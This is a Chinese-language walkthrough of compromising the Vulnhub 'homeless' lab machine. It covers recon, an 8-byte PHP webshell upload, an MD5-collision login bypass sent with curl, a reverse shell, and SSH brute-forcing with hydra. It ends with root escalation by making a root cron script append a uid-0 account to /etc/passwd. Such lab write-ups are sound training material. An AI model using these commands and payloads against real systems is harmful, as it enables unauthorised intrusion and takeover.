Vulnhub homeless靶机渗透
信息搜集
nmap -sP 192.168.146.6
nmap -A -Pn 192.168.146.151
直接访问web服务。
大概浏览一下没发现什么,直接扫描下目录把dirb+bp。
BP具体操作:抓包-Target选项卡-右键该地址-Spider/discovery
看一眼robots.txt有一些提示
可能之后要爆破啥的,再看一看源码,发现有一段User-agent,可能是将我们的User-agent回显了,抓包看看
可以发现,User-agent确实回显了,但是改成其他的也是回显,没找到利用的方式。
然后按照CTF的套路猜测一下,可能需要一个特定的User-gent才能回显特定的内容。
再查看一下源码,看到一副很奇怪的图片,特别模糊,但是能大概看清上面的一行字,用来当User-agent
Cyberdog Sledding Portal
使用这行,发现回显了特定的东西。
给了一个url路径myuploader_priv,直接访问一下http://192.168.146.151/myuploader_priv/
getFlag
文件上传
随便上传一个普通的一句话,说文件太大了。。。
fuzz一下,发现最大上传文件大小为8字节。
使用最短的执行命令的方法 <?=`ls`;,将此写进short.php
访问http://192.168.146.151/files/short.php
访问887beed152a3e8f946857bade267bb19d159ef59.txt
再访问一下这个目录http://192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/
,找到后台
点击右上角needhint,得到index.php.bak查看index.php源码,主要看php代码
<?php
session_start();
error_reporting(0);
if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];
if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo 'Your input can not be the same.';
} else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) {
$_SESSION["secret"] = '133720';
header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password </pre>";
}
}
?>
逻辑就是username、password、code两两不相等,但是三者的md5相等。
md5碰撞
显然数组、0e头绕过是不可能的,看来只能用现有的工具进行md5碰撞,生成md5相同的东西了来绕过了。
github搜索一下,有现成的轮子https://github.com/thereal1024/python-md5-collision
看一下说明
可以看到使用gen_coll_test.py就行了
生成了很多out_test_xxx.txt,这些文件的md5的值肯定都是相同的,验证一下。(牛逼.jpg
curl命令传输文件
那么选三个文件,直接用curl命令传输过去就可以了,先查一查curl传输的用法。
参考https://ec.haxx.se/http/http-post
使用的参数:--data-urlencode HTTP POST data url encoded
curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt http://192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/
emmm... 好像少了response看看该用什么参数。参数:-i, --include Include protocol response headers in the output
curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt http://192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/ -i
好了,现在有cookie了,改一下就可以访问http://192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php
就进后台了。
命令执行
后台是一个命令执行的功能。
直接反弹shell,顺便提升为交互式shell
直接到/home目录下看到downfall用户,该用户目录下有很多文件。
todo.txt应该是提示,内容如下:
hey i am homeless guy. Now i living near python.
Try Harder!
Thanks.
看来要从某个python文件入手,那就来搜索一下。
find / -type f -user downfall 2>/dev/null #除了用户目录多了个邮件但是没权限
find / -type f -group downfall 2>/dev/null #查找属于downfall组的文件
发现一个py文件,进去看看。
emmm.. 然后就没什么思路了。
但是... 刚开始的提示rockyou好像还没有用上。。 难道是用来爆破downfall用户密码的?那就试试。
hydra -l downfall -P /usr/share/wordlists/rockyou.txt -t 5 ssh://192.168.146.151
过了一会就爆破出来了。。
密码:secretlyinlove
直接ssh连上去,得到真正的shell。
看一眼刚刚无权限打开的.secret_message,然后准备再去看py文件,然后就看到收到了邮件,肯定是有点什么了。
/var/mail下看看邮件
然后还可以看到这里是不能import 模块的
很明显了,这个homeless.py是一个以root权限运行的定时任务啊,那后续思路清晰了。
这里没有sudo命令,那直接用homeless写/etc/passwd文件即可。
先生成linux密码perl -e 'print crypt("A1oe",q($6$hoiLHdTI)) ."\n"'
$6$hoiLHdTI$OTp4A6JE3k0MJ0cNXOpKkZ/rSxGrTmTy3O12d5kD8BTZJa3P.SpeCW1WePO.lzPvbzPOzpMaY4Vt7rwSQ2BAm.
改python文件内容为
#! /usr/bin/python
f = open("/etc/passwd",'a')
f.write('A1oe:$6$hoiLHdTI$OTp4A6JE3k0MJ0cNXOpKkZ/rSxGrTmTy3O12d5kD8BTZJa3P.SpeCW1WePO.lzPvbzPOzpMaY4Vt7rwSQ2BAm.:0:0::/root:/bin/bash')
f.close()
(记得要加上第一行,不然无法解析然后疯狂报错)
等一分钟后看到用户A1oe已经写进去了
直接su A1oe password:A1oe登陆即可。
总结
刚开始的脑洞是真的大。。。(不知道是不是有别的思路,有的话请指教
收获了一个md5碰撞的好的轮子,以后ctf可以配合curl命令直接用了(curl真香
提权就没啥好说的了,比较常见,也就是修改root权限运行的定时文件进行提权操作。